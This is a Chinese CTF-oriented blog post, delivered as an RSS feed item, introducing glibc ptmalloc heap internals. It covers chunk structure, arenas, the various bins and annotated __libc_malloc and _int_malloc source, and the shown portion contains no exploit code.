<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Weir_Su的博客</title><description>CTF / Pwn / 技术笔记</description><link>https://weirsu.github.io/</link><language>zh_CN</language><item><title>堆入门</title><link>https://weirsu.github.io/posts/heap%E5%A0%86%E5%85%A5%E9%97%A8/%E5%A0%86%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://weirsu.github.io/posts/heap%E5%A0%86%E5%85%A5%E9%97%A8/%E5%A0%86%E5%85%A5%E9%97%A8/</guid><description>终于开堆了</description><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;终于到堆了，其实是最近的比赛老是出堆，给我整急了😠
这篇文章的注释大部分都是ai写的，毕竟我也只是个正在学习的菜鸡，这篇文章更多的是我在学习堆的记录&lt;/p&gt;
&lt;p&gt;如果有不正确的地方，欢迎师傅发邮件与我联系(weir_su@163.com)&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;栈是有局限性的，虽然它存放和读取数据的速度很快，但是，栈的大小是有限的，在64位系统上，栈的大小通常为2MB，如果我们需要存放一个很大的数据，或者是我们一开始不知道要多少内存来存放数据，那么我们就不能再在栈上放，我们得另外找一个地方放我们的数据，于是我们就创造出了一个堆区，它的大小是动态调整的
这里来张经典的图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;%E5%A0%86%E5%85%A5%E9%97%A8.assets/file-20260329212542796.png&quot; alt=&quot;&quot; /&gt;
在这里推荐一个视频
&lt;a href=&quot;https://www.bilibili.com/video/BV1kZsbzYE7J/?spm_id_from=333.337.search-card.all.click&amp;amp;vd_source=d3aeb1f8fcdb82c12b0610f95b84f441&quot;&gt;99%的程序员都该补的底层课：彻底弄懂Stack（栈）与Heap（堆）| 栈的局限 / 系统调用 / 性能优化 / 内存布局 / 内存碎片 / 指针&lt;/a&gt;
我建议刚开始学堆的师傅都可以来看看这个视频，至少对我而言，这个视频给我补全了一些前置概念和条件
由于系统调用比较昂贵，如果一个程序需要频繁的申请内存时，上下文切换导致的开销是我们不想要的
于是如果程序需要申请内存时，操作系统会划分一大块内存给我们，但是我们并不需要这么大块，这就需要有个&quot;管理员&quot;来维护并且切割内存，在linux系统上，这个&quot;管理员&quot;叫ptmalloc
我们都只知道用malloc函数申请一块内存，返回的是一个指针，当不需要这个内存时，我们就用free函数将这个内存块释放掉，但是我们并不知道是怎么分配和回收的，下面我们来看看malloc是怎么申请内存的
(如无特殊说明，接下来的介绍都是以64位系统为基准)
(如无特殊说明，接下来所说的上一个，下一个指的是逻辑上（链表）的方向。而前一个，后一个指的是内存上的方向)&lt;/p&gt;
&lt;h1&gt;基本概念&lt;/h1&gt;
&lt;h2&gt;Chunk&lt;/h2&gt;
&lt;h3&gt;chunk的结构&lt;/h3&gt;
&lt;p&gt;用户在堆上申请内存时，ptmalloc并不是简单的在堆上找到一块区域，然后返回一个指针给用户，这非常不方便管理，所以ptmalloc定义了一个结构体——chunk，有点像一个快递盒或者有点打包那种感觉，这样将内存分为一个个大小不一的chunk方便管理
我们来看看chunk这个结构体的源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;%E5%A0%86%E5%85%A5%E9%97%A8.assets/file-20260329212542785.jpeg&quot; alt=&quot;&quot; /&gt;
在图中，chunk指针指向一个chunk的开始，一个chunk中包含了用户请求的内存区域和相关的控制信息。图中的mem指针才是真正返回给用户的内存指针。
堆是由低地址往高地址增长的，我们所说的前一个chunk，其实是内存地址上比他小的那个chunk
由于规定了chunk的大小必须是16字节对齐的，size的低三位永远是0，于是就拿这三位来作标识位
chunk的第二个域的最低一位为P，它表示前一个块是否在使用中，P为0则表示前一个chunk为空闲，这时 chunk的第一个域prev_size才有效，prev_size表示前一个chunk的size，程序可以使用这个值来找到前一个chunk的开始地址。当P为1时，表示前一个chunk正在使用中，prev_size无效，程序也就不可以得到前一个chunk的大小。不能对前一个chunk进行任何操作。ptmalloc分配的第一个块总是将P设为1，以防止程序引用到不存在的区域。
Chunk的第二个域的倒数第二个位为M，他表示当前chunk是从哪个内存区域获得的虚拟内存。M为1表示该chunk是从mmap映射区域分配的，否则是从heap区域分配的。
Chunk的第二个域倒数第三个位为A，表示该chunk属于主分配区或者非主分配区，如果属于非主分配区，将该位置为1，否则置为0。
&lt;code&gt;INTERNAL_SIZE_T&lt;/code&gt;被宏定义为size_t，在64位系统下为unsigned long long 即8字节
&lt;code&gt;prev_size&lt;/code&gt;表示前一个chunk的大小，&lt;code&gt;size&lt;/code&gt;表示这个块的大小(16字节加user data)
如果这个堆块在使用中是如上图所示的
其实我觉得这样子定义的堆块怪怪的，你的prev_size实际上是物理上相邻的堆块的user data下面的那个size of chunk，如果这个堆块在使用中，fd,bk什么的都不存在，都给了user data
下面我们来看当一个chunk空闲(free)之后是怎样的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;%E5%A0%86%E5%85%A5%E9%97%A8.assets/file-20260329212542784.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当chunk空闲时，其M状态不存在，只有AP状态，原本是用户数据区的地方存储了四个指针，指针fd指向下一个空闲的chunk，而bk指向上一个空闲的chunk，ptmalloc通过这两个指针将大小相近的chunk连成一个双向链表。对于large bin中的空闲chunk，还有两个指针，fd_nextsize和bk_nextsize，这两个指针用于加快在large bin中查找最近匹配的空闲chunk。不同的chunk链表又是通过bins或者fastbins来组织的，各种bin的概念我们之后会介绍到。&lt;/p&gt;
&lt;p&gt;值得一提的是，堆是由低地址往高地址增长的，所以prev_size是放在低地址的，而在计算机内存中，地址是从0开始向大的数值增长的。我们可以把内存看作一条从左到右的数轴，所以向后是指地址减小的方向，向前是指地址增加的方向，再来看看我们一开始的内存布局图，从直觉上来说会有点怪怪的，因为prev_size是放在低地址的，从主观来说，我们会因为prev_size的名字而认为低地址的是前一个chunk，但是实质上是后一个chunk&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;%E5%A0%86%E5%85%A5%E9%97%A8.assets/file-20260329212542782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;chunk的内存复用&lt;/h3&gt;
&lt;p&gt;为了使得 chunk 所占用的空间最小，ptmalloc使用了空间复用，一个 chunk或者正在被使用，或者已经被free掉，所以chunk的中的一些域可以在使用状态和空闲状态表示不同的意义，来达到空间复用的效果。以64位系统为例，空闲时，一个chunk中至少需要4个size_t（8B）大小的空间，用来存储prev_size，size，fd和bk （见上图），也就是32B，chunk的大小要对齐到16B。
当一个chunk 处于使用状态时，它的下一个chunk 的prev_size域肯定是无效的。所以实际上，这个空间也可以被当前chunk 使用。这听起来有点不可思议，但确实是合理空间复用的例子
所以ptmalloc理论上要划分的内存大小为16加上用户所申请的大小对齐16字节，但是有了内存复用，可以将下个chunk的prev_size字段作为data，于是ptmalloc只需要准备8加用户申请的字节对齐十六字节就可以了，少的那八字节借用下个chunk的prev_size&lt;/p&gt;
&lt;h2&gt;主分配区与非主分配区&lt;/h2&gt;
&lt;p&gt;即main_arena和non_main_arena，这其实是个结构体，主分配区在libc里。非主分配区在mmap段上，主分配区和非主分配区解决的是多线程的问题，但在pwn题中，主要都是单线程的题目，所以我们可以先不管非主分配区，专注于主分配区。&lt;/p&gt;
&lt;p&gt;主分配区是一个结构体，它在libc的data段上，是malloc_state的一个实例
那我们先来看看malloc_state这个结构体
&lt;code&gt;mfastbinptr&lt;/code&gt;和&lt;code&gt;mchunkptr&lt;/code&gt;都是由&lt;code&gt;malloc_chunk&lt;/code&gt;定义的指针变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;//一个互斥锁，主要用于防止多线程竞争

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];//这是一个存放fastbin链表头的数组。

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;//定义了一个top chunk，我们之后会介绍

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;//主要用于Small Bin的拆分。我们之后会介绍

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
  /*这是堆管理中最复杂的地方。虽然数组名是 `bins`，但它实际上存储的是**双向链表**的表头。*/

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];
  /*这是一个位图（Bitmap）作用:为了提高性能。每一位代表对应的 bin 是否为空。在 malloc 寻找合适大小的 bin 时，通过位运算可以极快地跳过那些空的 bin，而不用一个一个去检查指针。

  /* Linked list */
  struct malloc_state *next;
  /*全局的Arena链表，指向下一个arena，和多线程有关*/

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;
  /*下一个空闲的arena*/

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;
  /*功能：记录当前有多少个线程正连接到（Attached）这个 Arena 上。*/

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  //当前 Arena 从操作系统（通过 `sbrk` 或 `mmap`）申请的总内存量。
  INTERNAL_SIZE_T max_system_mem;
  //该 Arena 曾经达到的系统内存峰值。
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再来看主分配区是怎么被定义的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static struct malloc_state main_arena =
{
  .mutex = _LIBC_LOCK_INITIALIZER,
  .next = &amp;amp;main_arena,
  .attached_threads = 1
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bins&lt;/h2&gt;
&lt;p&gt;就是垃圾桶()
被free 掉的内存并不是都会马上归还给系统，ptmalloc 会统一管理heap和mmap 映射区域中的空闲的chunk，当用户进行下一次分配请求时，ptmalloc 会首先试图在空闲的
chunk 中挑选一块给用户，这样就避免了频繁的系统调用，降低了内存分配的开销。
ptmalloc将相似大小的chunk 用双向链表链接起来，这样的一个链表被称为一个bin。
那么具体怎么管理这个bins呢？ptmalloc根据bin中所存放的chunk的大小，划分了四种bins，
分别是fast bins，unsorted bins，small bins 和 large bins。
并且在主分配区定义了一个数组来存放这个bins(&lt;code&gt;mchunkptr bins[NBINS * 2 - 2]&lt;/code&gt;)
如下图所示
&lt;img src=&quot;%E5%A0%86%E5%85%A5%E9%97%A8.assets/file-20260329212542783.jpeg&quot; alt=&quot;&quot; /&gt;
数组中的第一个为unsorted bin，数组中从2开始编号的前64个bin称为small bins，同
一个small bin中的chunk 具有相同的大小。两个相邻的small bin中的chunk大小相差8bytes。
small bins 中的chunk按照最近使用顺序进行排列，最后释放的chunk被链接到链表的头部，
而申请chunk是从链表尾部开始，这样，每一个chunk 都有相同的机会被ptmalloc 选中。
Small bins 后面的bin被称作large bins。large bins中的每一个bin分别包含了一个给定范围
内的chunk，其中的chunk 按大小序排列。相同大小的chunk同样按照最近使用顺序排列。
ptmalloc使用“smallest-first，best-fit”原则在空闲large bins中查找合适的chunk。
当空闲的chunk 被链接到bin 中的时候，ptmalloc 会把表示该chunk 是否处于使用中的
标志P 设为0（注意，这个标志实际上处在下一个chunk 中），同时ptmalloc 还会检查它前
后的chunk 是否也是空闲的，如果是的话，ptmalloc 会首先把它们合并为一个大的chunk，
然后将合并后的chunk 放到unstored bin 中。要注意的是，并不是所有的chunk 被释放后就
立即被放到bin 中。ptmalloc 为了提高分配的速度，会把一些小的的chunk 先放到一个叫做
fast bins 的容器内。&lt;/p&gt;
&lt;h3&gt;Fast Bins&lt;/h3&gt;
&lt;p&gt;一般的情况是，程序在运行时会经常需要申请和释放一些较小的内存空间。当分配器合
并了相邻的几个小的chunk 之后，也许马上就会有另一个小块内存的请求，这样分配器又需
要从大的空闲内存中切分出一块，这样无疑是比较低效的，故而，ptmalloc 中在分配过程中
引入了fast bins，不大于&lt;code&gt;global_max_fast&lt;/code&gt;的chunk 被释放后，首先会被放到fast bins
中，fast bins中的chunk并不改变它的使用标志P。这样也就无法将它们合并，当需要给用
户分配的chunk小于或等于max_fast时，ptmalloc 首先会在fast bins中查找相应的空闲块，
然后才会去查找bins中的空闲chunk。在一些特定的时候，ptmalloc会遍历fast bins中的chunk，将相邻的空闲chunk进行合并，并将合并后的chunk加入unsorted bin中，然后再将usorted
bin里的chunk加入bins中。
Fast bins主要是用于提高小内存的分配效率，对于64位系统来说，小于128B的chunk请求，首
先会查找fast bins 中是否有所需大小的chunk 存在（精确匹配），如果存在，就直接返回。
Fast bins 可以看着是small bins的一小部分cache，默认情况下，fast bins 只cache 了small
bins 的前7个大小的空闲chunk，也就是说对于SIZE_SZ 为8B 的平台，fast bins 有7个chunk 空闲链表（bin），每个bin的chunk大小依次为32B，48B，64B，80B，96B，112B，128B。
与其他三个bins不同,fast bins可以看成是先进后出的栈，使用单项链表实现，而其他三个bins都是先进先出(FIFO)&lt;/p&gt;
&lt;h3&gt;Small Bins&lt;/h3&gt;
&lt;p&gt;Small bins 用于存放固定大小的chunk，共64个bin，最小的chunk大小为32 字节，每个bin的大小相差16字节，当分配小内存块时，采用精确匹配的方式从small bins 中查找合适的chunk
每个small bin中的chunk的大小与bin的index有如下关系：&lt;code&gt;Chunk_size=2 * SIZE_SZ * index&lt;/code&gt;
在SIZE_SZ 为8B的平台上，small bins中的chunk大小是以16B为公差的等差数列，最大的chunk 大小为1008B，最小的chunk大小为32B，所以实际共62个bin。分别为32B、48B、64B，......，1008B。
small bins是双向循环链表（每个链表都具有链表头节点，加头节点的最大作用就是便于对链表内节点的统一处理，即简化编程），ptmalloc 维护了62 个small bins，每一个链表内的各空闲chunk 的大小一致，因此当应用程序需要分配某个字节大小的内存空间时直接在对应的链表内取就可以了，这样既可以很好的满足应用程序的内存空间申请请求而又不会出现太多的内存碎片。&lt;/p&gt;
&lt;h3&gt;Unsorted Bin&lt;/h3&gt;
&lt;p&gt;unsorted bin在bins数组的第一个位置，如果被用户释放的chunk大于max_fast，或者fast bins中的空闲chunk合并后，这些chunk首先会被放到unsorted bin中，在进行malloc操作的时候，如果在fast bins 中没有找到合适的chunk，则ptmalloc会先在unsorted bin中查找合适的空闲chunk，然后才查找bins。如果unsorted bin不能满足分配要求，malloc便会将unsorted bin中的chunk加入bins 中，然后再从bins中继续进行查找和分配过程。从这个过程可以看出来，unsorted bin可以看做是bins的一个缓冲区，增加它只是为了加快分配的速度。&lt;/p&gt;
&lt;h3&gt;Large Bins&lt;/h3&gt;
&lt;p&gt;Large Bins是一个双向双重循环链表，它有fd,bk和fd_nextsize和bk_nextsize两套指针
Large Bins一共有63个bin（从 bin 64 到 bin 126），不同于small bins，每个large bin负责的是一个大小范围，也正因每个large bin负责的是一个大小范围，fd_nextsize和bk_nextsize才只用于此，这两个指针形成了一个简易的“跳表”结构，这可以加快检索合适chunk的速度
Large Bin 链表内部是按&lt;strong&gt;Size 从大到小&lt;/strong&gt;排序的：链表头部存放该Bin范围内最大的chunk，链表尾部存放该Bin范围内最小的chunk
如果两个chunk的Size完全相同：新加入的chunk会被插入到Size相同的chunk队列的&lt;strong&gt;后面&lt;/strong&gt;，这意味着在Size相同的情况下，先释放的chunk先被复用&lt;/p&gt;
&lt;h2&gt;特殊的chunk&lt;/h2&gt;
&lt;p&gt;并不是所有的chunk都按照上面的方式来组织，实际上，有三种例外情况。Top chunk，mmaped chunk 和last remainder，下面会分别介绍这三类特殊的chunk。top chunk对于主分配区和非主分配区是不一样的。&lt;/p&gt;
&lt;h3&gt;Top chunk&lt;/h3&gt;
&lt;p&gt;Top Chunk 是当前堆段中&lt;strong&gt;最后剩余的、未分配的一块连续内存&lt;/strong&gt;。它始终位于整个堆空间的最高地址且不属于任何一个Bin列表
当所有的 Bin（如 fastbins, smallbins, unsorted bin 等）都无法满足用户的内存申请需求时，&lt;code&gt;malloc&lt;/code&gt; 就会尝试从 Top Chunk 中“切”出一块内存给用户。如果 Top Chunk 的大小不足以覆盖请求（Size &amp;lt; nb），主分配区会通过调用 &lt;code&gt;sbrk()&lt;/code&gt;（或在某些情况下使用 &lt;code&gt;mmap&lt;/code&gt;）向操作系统申请更多的虚拟内存页，并将新申请的空间合并到原来的 Top Chunk 中，然后再进行分配。
在释放与top chunk相邻的chunk后，会将这个chunk合并至top chunk，如果top chunk变得非常大（超过了 &lt;code&gt;M_TRIM_THRESHOLD&lt;/code&gt;），ptmalloc可能会调用malloc_trim将一部分内存还给操作系统。&lt;/p&gt;
&lt;h3&gt;Mmap chunk&lt;/h3&gt;
&lt;p&gt;当需要分配的chunk 足够大，而且fast bins 和bins 都不能满足要求，甚至top chunk本
身也不能满足分配需求时，ptmalloc 会使用mmap 来直接使用内存映射来将页映射到进程空
间。这样分配的chunk在被free时将直接解除映射，于是就将内存归还给了操作系统，再次对这样的内存区的引用将导致段错误。这样的chunk也不会包含在任何bin中&lt;/p&gt;
&lt;h1&gt;Last remainder&lt;/h1&gt;
&lt;p&gt;Last remainder是另外一种特殊的chunk，就像top chunk和mmaped chunk一样，不会在任何bins中找到这种chunk。当需要分配一个small chunk，但在small bins中找不到合适的chunk，
malloc会遍历unsorted bin，如果在 Unsorted Bin 中找到一个足够大的 Chunk，&lt;code&gt;malloc&lt;/code&gt; 会将其分割：前半部分会分配给用户。后半部分：即Last Remainder。它会被重新放回 Unsorted Bin中，并且main_arena中的&lt;code&gt;last_remainder&lt;/code&gt;指针会更新并指向它&lt;/p&gt;
&lt;h1&gt;Malloc&lt;/h1&gt;
&lt;p&gt;在malloc.c的末尾，定义了一些强别名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strong_alias (__libc_malloc, __malloc) strong_alias (__libc_malloc, malloc)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，当我们在调用malloc的时候，其实是在调用&lt;code&gt;__libc_malloc&lt;/code&gt;，所以我们来看看&lt;code&gt;__libc_malloc&lt;/code&gt;的源码&lt;/p&gt;
&lt;h2&gt;__libc_malloc&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__libc_malloc (size_t bytes)
{
  mstate ar_ptr;      /* 分配区（Arena）状态指针 */
  void *victim;       /* 最终指向分配给用户的内存地址 */

  /* 读取 __malloc_hook 钩子函数。
     atomic_forced_read 确保原子性读取，防止多线程下的竞态问题。
  */
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);

  /* __builtin_expect 是编译器优化：暗示 hook 通常为 NULL（0）。
     如果 hook 不为空（即用户设置了自定义分配函数），则执行 hook 并直接返回。
  */
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));

  /* 获取一个可用的分配区（Arena），并对其加锁。
     ar_ptr 会指向选定的 arena。
  */
  arena_get (ar_ptr, bytes);

  /* 调用核心分配函数 _int_malloc 在指定的 arena 中尝试分配内存 */
  victim = _int_malloc (ar_ptr, bytes);

  /* 仅当我们之前能找到可用的分配区，但分配却失败了（victim 为空）时，
     尝试更换另一个分配区重试。
  */
  if (!victim &amp;amp;&amp;amp; ar_ptr != NULL)
    {
      /* 这是一个 SystemTap 探测点，用于监控 malloc 的重试行为 */
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      
      /* 尝试寻找并锁定另一个不同的 arena */
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      
      /* 在新的 arena 中再次尝试分配 */
      victim = _int_malloc (ar_ptr, bytes);
    }

  /* 如果成功获取了 arena 锁，在此处释放（解锁） */
  if (ar_ptr != NULL)
    (void) mutex_unlock (&amp;amp;ar_ptr-&amp;gt;mutex);

  /* 断言检查：确保要么没分到内存，要么分到的内存是 mmap 出来的，
     要么该内存块确实属于它被分配时所在的那个 arena。
  */
  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));

  return victim; /* 返回用户内存指针 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到__libc_malloc是对&lt;code&gt;int_malloc&lt;/code&gt;的封装，分配内存的核心在于&lt;code&gt;int_malloc&lt;/code&gt;
下面我们来看int_malloc的源码，由于这个函数很长，我们将分几个部分介绍&lt;/p&gt;
&lt;h2&gt;_int_malloc&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* 规范化后的请求大小 (normalized request size) */
  unsigned int idx;                 /* 关联的 bin 索引 */
  mbinptr bin;                      /* 关联的 bin 指针 */

  mchunkptr victim;                 /* 正在检查/被选中的 chunk */
  INTERNAL_SIZE_T size;             /* 该 chunk 的大小 */
  int victim_index;                 /* 该 chunk 所在的 bin 索引 */

  mchunkptr remainder;              /* 分割后剩余的 chunk (remainder) */
  unsigned long remainder_size;     /* 剩余 chunk 的大小 */

  unsigned int block;               /* 用于遍历 binmap 的块索引 */
  unsigned int bit;                 /* 用于遍历 binmap 的位索引 */
  unsigned int map;                 /* binmap 当前处理的字 (word) */

  mchunkptr fwd;                    /* 用于链表操作的临时指针（前向） */
  mchunkptr bck;                    /* 用于链表操作的临时指针（后向） */

  const char *errstr = NULL;        /* 错误信息字符串 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些是int_malloc定义的临时变量，我们往下走&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  /*
	由于size_t是一个无符号整数，因此，当我们申请一个足够大的内存的时候，可能会发生整数溢出，
	这会有安全隐患。
	checked_request2szie就是一个安全检查的函数，这个函数将会判断用户请求的字节数是否合法，
	通常是要小于size_max的一般左右，
	如果合法，将会计算转换成malloc内部使用的物理块大小(nb)，否则返回0。
  */

  checked_request2size (bytes, nb);

  /* 如果没有可用的分配区（arena）。回退到使用 sysmalloc 
     通过 mmap 直接获取一个 chunk。 */
  if (__glibc_unlikely (av == NULL))
    {
      void *p = sysmalloc (nb, av);
      if (p != NULL)
        alloc_perturb (p, bytes);
      return p;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就是在主分配区分配内存的情况，首先是——&lt;/p&gt;
&lt;h3&gt;在fast bins中分配内存&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;   /*
     如果用户申请的内存大小符合 fastbin 的标准，首先检查对应的 bin。
     即使 av（arena 状态）尚未初始化，执行这段代码也是安全的，
     所以我们可以不加检查地直接尝试，这在快速路径（fast path）上节省了一些时间。
   */

  /* 1. 判断请求大小 nb 是否小于等于 fastbin 允许的最大值 */
  if ((unsigned long) (nb) &amp;lt;= (unsigned long) (get_max_fast ()))
    {
      /* 2. 根据大小计算该 chunk 应该在哪个 fastbin 数组索引中 */
      idx = fastbin_index (nb);
      /* 3. 获取该索引对应的 fastbin 链表头部的指针地址 */
      mfastbinptr *fb = &amp;amp;fastbin (av, idx);
      /* 4. 读取当前的链表头结点 */
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          /* 5. 如果链表为空（NULL），说明该 bin 里没有空闲块，跳出循环去走别的路径 */
          if (victim == NULL)
            break;
        }
      /* 6. 核心原子操作：尝试将链表头从 victim 切换到 victim-&amp;gt;fd (即弹出栈顶)
         使用了无锁编程中的 CAS (Compare and Swap) 机制，防止多线程竞争。
         如果在此期间别的线程改了 *fb，则继续循环重试。
      */
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim-&amp;gt;fd, victim))
             != victim);

      /* 7. 如果成功拿到了一个空闲块 (victim) */
      if (victim != 0)
        {
          /* 8. 安全检查：检查拿到的这个 chunk 的大小是否真的属于这个 bin。
             如果大小不匹配，说明堆内存被破坏了（可能是溢出修改了 header）。
          */
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = &quot;malloc(): memory corruption (fast)&quot;;
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          /* 9. 调试相关的检查宏 */
          check_remalloced_chunk (av, victim, nb);
          /* 10. 将 chunk 指针转换为用户数据区指针 (mem) */
          void *p = chunk2mem (victim);
          /* 11. 如果开启了扰动特性，填充内存以助调试 */
          alloc_perturb (p, bytes);
          return p; /* 成功分配，直接返回！ */
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果申请的大小超过了max_fast，或者是fast bins中没有合适的chunk，则会进入下一步——&lt;/p&gt;
&lt;h3&gt;在small bins中分配内存&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;   /*
     如果是小请求，检查常规 bin。由于这些 &quot;smallbins&quot;
     每个只存放一种大小的块，因此不需要在 bin 内部进行搜索。
     （对于大请求，我们需要等待处理完 unsorted chunks 以找到最佳匹配。
     但对于小请求，匹配结果横竖都是精确的，所以我们可以现在就检查，这样更快。）
   */

  /* 1. 检查请求大小 nb 是否在 smallbin 的范围内（通常 &amp;lt; 1024 字节） */
  if (in_smallbin_range (nb))
    {
      /* 2. 获取该大小对应的 smallbin 索引 */
      idx = smallbin_index (nb);
      /* 3. 定位到该 bin 的头部指针 */
      bin = bin_at (av, idx);

      /* 4. 获取 bin 链表中的最后一个块 (victim = last(bin))。
         注意：Small bins 是双向循环链表，如果 last(bin) == bin，说明链表为空。
      */
      if ((victim = last (bin)) != bin)
        {
          /* 5. 如果 victim 为 0，说明 malloc 还没有初始化（通常发生在首次调用） */
          if (victim == 0) 
            malloc_consolidate (av); /* 合并并初始化 */
          else
            {
              /* 6. 获取 victim 的前一个块（在双向链表中是 bck） */
              bck = victim-&amp;gt;bk;
              
              /* 7. 【安全检查】极其重要！检查双向链表的完整性。
                 正常情况下，victim-&amp;gt;bk-&amp;gt;fd 应该指向 victim。
                 如果不是，说明链表被非法篡改（堆溢出攻击常见手段）。
              */
              if (__glibc_unlikely (bck-&amp;gt;fd != victim))
                {
                  errstr = &quot;malloc(): smallbin double linked list corrupted&quot;;
                  goto errout;
                }
              
              /* 8. 设置标志位：告诉下一个物理邻居，本块（victim）正被使用 */
              set_inuse_bit_at_offset (victim, nb);
              
              /* 9. 将 victim 从 Small Bin 链表中拆卸（Unlink） */
              bin-&amp;gt;bk = bck;
              bck-&amp;gt;fd = bin;

              /* 10. 如果不是主分配区（Main Arena），设置相应的标志位 */
              if (av != &amp;amp;main_arena)
                victim-&amp;gt;size |= NON_MAIN_ARENA;
              
              /* 11. 调试检查与指针转换，返回内存 */
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }
    /*
     如果没有通过这个if判断
     那么这会是一个大请求（Large Request）
     在继续去分配内存前，我们先合并 fastbins。
     虽然在还没看large bins有没有可用空间之前就清空所有 fastbins 看起来有些过头，
     但这避免了通常与 fastbins 相关的碎片化问题。
     此外，在实践中，程序往往倾向于连续进行一系列小请求或大请求，
     而较少混合使用，因此在大多数程序中，合并操作并不会被频繁调用。
     而在那些频繁调用合并的程序中，如果不这样做，往往会产生严重的碎片。
   */

  else
    {
      /* 1. 计算大块对应的 Large Bin 索引 */
      idx = largebin_index (nb);
      
      /* 2. 检查当前 Arena 是否有 Fastbins 块 */
      if (have_fastchunks (av))
        /* 3. 如果有，立刻进行合并（Consolidate）！
           这会将 Fastbins 里的块归还并尝试与邻居合并，放入 Unsorted Bin 中。
        */
        malloc_consolidate (av);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果small bins无法满足用户的申请，那么这肯定是一个较大的请求，接下来——&lt;/p&gt;
&lt;h3&gt;在unsorted bin中分配内存&lt;/h3&gt;
&lt;p&gt;如果unsorted bin中没有合适的内存，这将清空unsorted bin
这里首先会有一个无限的for循环，这个for循环将持续到__int_malloc的结尾
我们同样分几部分来介绍&lt;/p&gt;
&lt;h4&gt;1.外部循环与初衷&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/*
     处理最近释放的或剩余的（remaindered）块，仅当块完全匹配时才取用；
     或者，如果这是一个小请求，且该块是最近一次非精确匹配产生的剩余块（remainder），则取用。
     将遍历到的其他块放入对应的 bin 中。
     注意，这一步是所有流程中唯一将块放入 bin 的地方。

     这里需要外层循环，是因为我们可能直到 malloc 接近结束时才意识到应该进行合并（consolidate），
     因此必须合并并重试。这种情况最多发生一次，且仅当我们为了满足“小”请求而不得不扩展内存时才会发生。
   */

  for (;;)
    {
      int iters = 0;//一个循环计数器
      /* 遍历 Unsorted Bin 链表。unsorted_chunks(av) 是哨兵节点。
         它以 FIFO（先进先出）顺序从 bk 指针处取块。 */
      while ((victim = unsorted_chunks (av)-&amp;gt;bk) != unsorted_chunks (av))
        {
          bck = victim-&amp;gt;bk;
          /* 安全检查：块的大小不能太小，也不能超过系统总内存 */
          if (__builtin_expect (victim-&amp;gt;size &amp;lt;= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim-&amp;gt;size &amp;gt; av-&amp;gt;system_mem, 0))
            malloc_printerr (check_action, &quot;malloc(): memory corruption&quot;,
                             chunk2mem (victim), av);
          size = chunksize (victim);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2.Last Remainder 优化（针对小请求的局部性优化）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;		   /*
             如果是小请求，且 Unsorted Bin 中只有这一个块，且它是 last_remainder，
             且大小足够切割：则直接进行切割分配。否则进入下一步
